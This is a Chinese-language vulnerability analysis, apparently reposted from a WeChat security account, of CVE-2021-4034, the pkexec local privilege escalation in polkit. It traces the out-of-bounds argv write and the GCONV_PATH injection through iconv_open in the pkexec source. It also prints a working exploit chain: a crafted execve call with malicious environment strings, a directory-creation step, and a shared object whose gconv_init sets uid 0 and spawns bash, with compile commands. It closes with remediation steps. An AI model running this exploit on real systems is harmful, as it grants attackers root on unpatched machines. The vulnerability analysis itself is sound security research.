CVE-2021-4034 pkexec 本地提权漏洞分析

admin 2022年2月12日02:42:25评论82 views字数 3592阅读11分58秒阅读模式

CVE-2021-4034 pkexec 本地提权

1.漏洞编号

CVE-2021-4034

2.影响范围

2021以前发行版

3.漏洞详情

此漏洞exp利用流程上来说,可以分为两个部分

1.设置恶意环境变量

2.通过恶意环境变量执行命令

3.1 设置恶意环境变量

pkexec 源码地址

https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.120/src/programs/pkexec.c

在533行,n被赋值为1

CVE-2021-4034 pkexec 本地提权漏洞分析

610行,存在越界读取,我们执行pkexec的时候,不传参数,argv数组只有默认的0下标,1是不存在

CVE-2021-4034 pkexec 本地提权漏洞分析

那么argv[1]是什么呢?

当我们执行一个程序时,内核会将我们的参数、环境字符串和指针(argv 和 envp)复制到新程序堆栈的末尾;如下所示:

|---------+---------+-----+------------|---------+---------+-----+------------|| argv[0] | argv[1] | ... | argv[argc] | envp[0] | envp[1] | ... | envp[envc] ||----|----+----|----+-----+-----|------|----|----+----|----+-----+-----|------|     V         V                V           V         V                V "program" "-option"           NULL      "value" "PATH=name"          NULL

因为argv和envp指针在内存中是连续的,那么argv[1]实际上指向的是envp[0]

通过给argv[1] 赋值就能修改环境变量

在632行,调用了g_find_program_in_path函数

CVE-2021-4034 pkexec 本地提权漏洞分析

根据glib的源码,这个函数是用来在PATH中搜索传参的绝对路径的,比如传参id,返回是/usr/bin/id,然后在639行将返回值越界写入了argv[1],也就是第一个环境变量

CVE-2021-4034 pkexec 本地提权漏洞分析

根据这个流程,我们使用如下代码,可以做到设置恶意环境变量

shell创建文件夹 mkdir GCONV_PATH=.,在目录中创建test文件

char *a_argv[]={ NULL };char *a_envp[]={        "test",        "PATH=GCONV_PATH=.",        NULL    };execve("/usr/bin/pkexec", a_argv, a_envp);

经过g_find_program_in_path函数以后,在我们创建的畸形目录中搜索到了test文件,此时envp[0]的的值为GCONV_PATH=./test

恶意环境变量完成,然后这里就有一个问题,我们费劲巴拉搞半天,就为了把GCONV_PATH设置到环境变量,为什么不直接通过execve函数把环境变量传进入呢?

当时这里我也没理解,后来看先知上的23R3F师傅的文章才搞懂了,linux 的动态连接器ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量。

我们可以测试一下,id为没有赋予suid权限,成功输出了hello。

pkexec有suid权限,LD_PRELOAD其实是没有生效的。

CVE-2021-4034 pkexec 本地提权漏洞分析

我个人的理解就是,在linux里面定义的这些敏感环境变量,触发suid程序自己本身setenv了,否则外部是无效的

CVE-2021-4034 pkexec 本地提权漏洞分析

3.2通过恶意环境变量执行命令

走到670行,

CVE-2021-4034 pkexec 本地提权漏洞分析

用for遍历environment_variables_to_save作key,去环境变量中取值

CVE-2021-4034 pkexec 本地提权漏洞分析

然后传给函数validate_environment_variable,此函数是检测shell是否合法的,需要通过这个函数来触发关键函数g_printerrr

有两种方法,传环境变量SHELL=test,或者走第二个if,XAUTHORITY=..

CVE-2021-4034 pkexec 本地提权漏洞分析

g_printerr中间接调用了linux的iconv_open函数,调用链如下

strdup_convert() <- glib/gmessages.c:1126g_convert_with_fallback() <- glib/gmessages.c:676g_convert() <- glib/gconvert.c:972open_converter() <- glib/gconvert.c:876g_iconv_open() <- glib/gconvert.c:637try_conversion() <- glib/gconvert.c:260iconv_open() <- glib/gconvert.c:208

iconv_open函数会根据环境变量中的GCONV_PATH的目录下的gconv-modules文件

文件内容如下

CVE-2021-4034 pkexec 本地提权漏洞分析

表示UTF-8转换到LANYI编码,需要用到lanyi.so,1表示表示转换成本的数值。如果缺少该单词,则假定成本为1,我们将恶意的lanyi.so放到当前目录下,然后通过网上的一段demo来测试是否能正常加载so

#include <stdio.h>#include <stdlib.h>#include <string.h>#include <iconv.h>
int main(int argc, char **argv){ /* 目的编码, TRANSLIT:遇到无法转换的字符就找相近字符替换 * IGNORE :遇到无法转换字符跳过*/ //char *encTo = "UNICODE//TRANSLIT"; setenv("GCONV_PATH", "./", 1); char *encTo = "LANYI"; /* 源编码 */ char *encFrom = "UTF-8";
/* 获得转换句柄 *@param encTo 目标编码方式 *@param encFrom 源编码方式 * * */ iconv_t cd = iconv_open (encTo, encFrom); if (cd == (iconv_t)-1) { perror ("iconv_open"); }
/* 需要转换的字符串 */ char inbuf[1024] = "abcdef哈哈哈哈行"; size_t srclen = strlen (inbuf); /* 打印需要转换的字符串的长度 */ printf("srclen=%dn", srclen);
/* 存放转换后的字符串 */ size_t outlen = 1024; char outbuf[outlen]; memset (outbuf, 0, outlen);
/* 由于iconv()函数会修改指针,所以要保存源指针 */ char *srcstart = inbuf; char *tempoutbuf = outbuf;
/* 进行转换 *@param cd iconv_open()产生的句柄 *@param srcstart 需要转换的字符串 *@param srclen 存放还有多少字符没有转换 *@param tempoutbuf 存放转换后的字符串 *@param outlen 存放转换后,tempoutbuf剩余的空间 * * */ size_t ret = iconv (cd, &srcstart, &srclen, &tempoutbuf, &outlen); if (ret == -1) { perror ("iconv"); } printf ("inbuf=%s, srclen=%d, outbuf=%s, outlen=%dn", inbuf, srclen, outbuf, outlen); int i = 0; for (i=0; i<strlen(outbuf); i++) { printf("%xn", outbuf[i]); }/* 关闭句柄 */ iconv_close (cd);
return 0;}

hello被成功执行,我的so没有实现gonv_init函数,所以报错了

CVE-2021-4034 pkexec 本地提权漏洞分析

exp:

#include <stdio.h>#include <stdlib.h>#include <unistd.h>
void gconv(){ return;}
void gconv_init() { setuid(0); seteuid(0); setgid(0); setegid(0); static char *a_argv[] = {"bash", NULL }; static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL }; execve("/bin/bash", a_argv, a_envp); exit(0);}

编译gcc -o lanyi.so -shared -fPIC lanyi.c

然后按照前面的流程,越界写入环境变量即可,执行so文件

3.3漏洞复现

CVE-2021-4034 pkexec 本地提权漏洞分析

4.漏洞修复

1.更新到polkit最新版本

2.取消pkexec的suid权限

CVE-2021-4034 pkexec 本地提权漏洞分析

5.参考文章

https://saucer-man.com/information_security/876.html

https://xz.aliyun.com/t/10870


原文始发于微信公众号(漏洞推送):CVE-2021-4034 pkexec 本地提权漏洞分析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月12日02:42:25
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-4034 pkexec 本地提权漏洞分析http://cn-sec.com/archives/775064.html

发表评论

匿名网友 填写信息